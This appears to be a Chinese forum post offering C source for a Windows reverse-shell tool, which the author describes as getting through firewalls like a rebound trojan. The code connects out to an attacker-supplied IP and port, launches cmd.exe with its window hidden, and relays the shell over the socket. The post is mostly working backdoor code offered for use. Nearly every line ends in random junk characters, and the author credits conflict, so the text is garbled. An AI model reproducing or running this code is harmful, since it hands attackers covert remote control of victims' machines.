这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 K"fr4xHq
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/* ============================== ,u.G6"<
Rebound port in Windows NT vG X
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By wind,2006/7 M/?*?B
===============================*/ o/dj1a~U
#include
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#include ULT,>S6r
t[=-4;
#pragma comment(lib,"wsock32.lib") ^&[Z@*A8#
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void OutputShell(); xlKg0&D
SOCKET sClient; Cpg>5N~;L
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; `2
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void main(int argc,char **argv) rJz`v/:|P
{ >]dH1@@
WSADATA stWsaData; P:8qmDXo
int nRet; WR:I2-1
SOCKADDR_IN stSaiClient,stSaiServer; =&8 Cg
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if(argc != 3) -K%hug
{ n?a?U:
printf("Useage:\n\rRebound DestIP DestPort\n"); >^!)G^B
return; 1@}s:
} *'l|ws
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WSAStartup(MAKEWORD(2,2),&stWsaData); 1r9.JS
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); b=$(`y
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stSaiClient.sin_family = AF_INET; 5Z]]xR[
stSaiClient.sin_port = htons(0); \bXusLI!l
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); nyl[d|pVa
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) .X.,.vHx
{ &=>|? m8
printf("Bind Socket Failed!\n"); v?O6|0#x
return; GS)4,.
} Kry^47"
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stSaiServer.sin_family = AF_INET; B'}pZOa[Wb
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); xq@_'
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); G4<M@ET
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) hI6Tp>b*~
{ H$M{thW
printf("Connect Error!"); DnP
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return; 1`q>*S](
} +3d.JQoKl
OutputShell(); SoJ=[5W
} (8Inf_59
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void OutputShell() k1_"}B5
{ N+nv#]{
char szBuff[1024]; eeM$c`Y<
SECURITY_ATTRIBUTES stSecurityAttributes; YiGSFg
OSVERSIONINFO stOsversionInfo; LW#$%}
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; A7enC,Ey
STARTUPINFO stStartupInfo; bdYx81
char *szShell; Eb~e=){
PROCESS_INFORMATION stProcessInformation; Rm&4Pku
unsigned long lBytesRead; XF Cwa
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); cOoF +hz0O
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); crlCN
stSecurityAttributes.lpSecurityDescriptor = 0; pPH"6
stSecurityAttributes.bInheritHandle = TRUE; YZ(tjIgQ
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); }}X<e
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); |T+YC[T#v
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); fN_Ilg)t?5
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ozUsp[W>
stStartupInfo.wShowWindow = SW_HIDE; f=cj5T:[
stStartupInfo.hStdInput = hReadPipe; \N a
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; S2PPwCU
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GetVersionEx(&stOsversionInfo);
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switch(stOsversionInfo.dwPlatformId) L43]0k
{
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case 1: p%#=OtkC
szShell = "command.com"; ZxoAf;U~
break; S%IhpTSe6
default: VlFhfOR6t
szShell = "cmd.exe"; *z
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break; QdK
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} J/>9w
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ojbms>a
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send(sClient,szMsg,77,0); W%P$$x5&
while(1) V]W-**j<
{ Fx3 X
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); EXizRL-9o
if(lBytesRead) Y*-dUJK-`
{ vT;~\,M
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); U}c05GiQw
send(sClient,szBuff,lBytesRead,0); w\%AR1,rs
} F-GrQd:O=
else =y]FcxF
{ Noi+mL
lBytesRead=recv(sClient,szBuff,1024,0); !)HB+yr
if(lBytesRead<=0) break; 2'-o'z<
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); <G /a-Z
} %mNd9 ]<
} XLj|y#h
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return; ={B?hjo<-
}